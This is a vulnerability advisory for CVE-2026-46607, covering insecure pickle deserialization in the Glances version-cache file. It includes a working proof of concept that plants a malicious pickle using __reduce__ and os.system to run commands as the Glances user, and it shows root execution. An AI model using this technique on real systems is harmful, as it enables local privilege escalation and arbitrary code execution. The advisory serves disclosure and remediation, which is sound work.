CVE-2026-46607
Glances has Insecure Pickle Deserialization in its Version Cache that Leads to Arbitrary Code Execution
Summary
### Summary `glances/outdated.py` uses `pickle.load()` to read a version-check cache file stored at a predictable, world-accessible path (`~/.cache/glances/glances-version.db` or `$XDG_CACHE_HOME/glances/glances-version.db`). No integrity check, signature verification, or format validation is performed before deserialization. An attacker with write access to that path — through any of several realistic local or container-level scenarios — can plant a malicious pickle file and achieve arbitrary code execution as the OS user running Glances the next time it starts with version checking enabled (the default). --- ### Details **Affected file:** `glances/outdated.py`, method `Outdated._load_cache()`, line 121 **Direct URL (commit 04579778e733d705898a169e049dc84772c852da):** - https://github.com/nicolargo/glances/blob/04579778e733d705898a169e049dc84772c852da/glances/outdated.py#L121 ```python # outdated.py (_load_cache, line 119-127) try: with open(self.cache_file, 'rb') as f: cached_data = pickle.load(f) # ← no integrity check except Exception as e: logger.debug(f"Cannot read version from cache file: {self.cache_file} ({e})") ... ``` `self.cache_file` is constructed from the XDG cache directory path at `Outdated.__init__()`: ```python # outdated.py (__init__) self.cache_file = os.path.join( user_cache_dir('glances')[0], 'glances-version.db' ) ``` On a default Linux installation this resolves to `/home/john/.cache/glances/glances-version.db` (or `/root/.cache/glances/…` when Glances runs as root). Python's `pickle` module is an execution-capable serialisation format: any class that implements `__reduce__` can embed an arbitrary callable and argument tuple that Python will invoke unconditionally at `pickle.load()` time. There is no safe subset of pickle; the only safe mitigation is to not use it for untrusted data. The code was verified on x86_64 Linux, Python 3.13, Glances 4.5.5_dev1 (commit 04579778e733d705898a169e049dc84772c852da). A malicious pickle crafted with `os.system()` via `__reduce__` executed the injected shell command successfully before the surrounding Python code raised a `TypeError`. --- ### PoC **Special configuration required** No non-default Glances configuration is needed. Version checking is enabled by default (`check_update = true`). The only pre condition is that the attacker can write to the Glances user's XDG cache directory — see the attack scenarios below for how this arises in practice. --- **Attack scenario A — local privilege escalation (shared multi-user host)** Prerequisites: Glances runs periodically (e.g. via systemd or cron) as a privileged user (root or a dedicated monitoring account). The attacker is an unprivileged local user who has write access to the Glances user's `~/.cache/glances/` directory (e.g. the directory or an ancestor is group- or world-writable, or was created with overly permissive umask). **Step 1 — Identify the cache path** ```bash python3 -c "from glances.config import user_cache_dir; print(user_cache_dir()[0])" # Example output: /root/.cache/glances ``` **Step 2 — Craft and plant a malicious pickle** ```python import pickle, os, pathlib class MaliciousPayload: def __reduce__(self): # This command runs as the Glances process user cmd = 'id >> /tmp/glances_rce_proof.txt' return (os.system, (cmd,)) cache_dir = pathlib.Path('/root/.cache/glances') # adjust to target cache_file = cache_dir / 'glances-version.db' cache_dir.mkdir(parents=True, exist_ok=True) cache_file.write_bytes(pickle.dumps(MaliciousPayload())) print(f'Payload written to {cache_file}') ``` **Step 3 — Wait for Glances to start (or restart it)** Glances calls `_load_cache()` automatically at startup when `check_update = true` (the compiled-in default). No special configuration is required by the attacker. **Step 4 — Verify execution** ```bash cat /tmp/glances_rce_proof.txt # uid=0(root) gid=0(root) groups=0(root)
Affected packages
| Ecosystem | Package | Affected versions | Fixed versions |
|---|---|---|---|
| PyPI | glances | — | 4.5.5 |
Remediation: Upgrade to 4.5.5 or later.
References
Includes data from the GitHub Advisory Database, licensed under CC-BY 4.0.
CVE® is a registered trademark of The MITRE Corporation. CVE content reproduced under the CVE Terms of Use; copyright designation © MITRE.
EPSS scores provided by the FIRST.org Exploit Prediction Scoring System.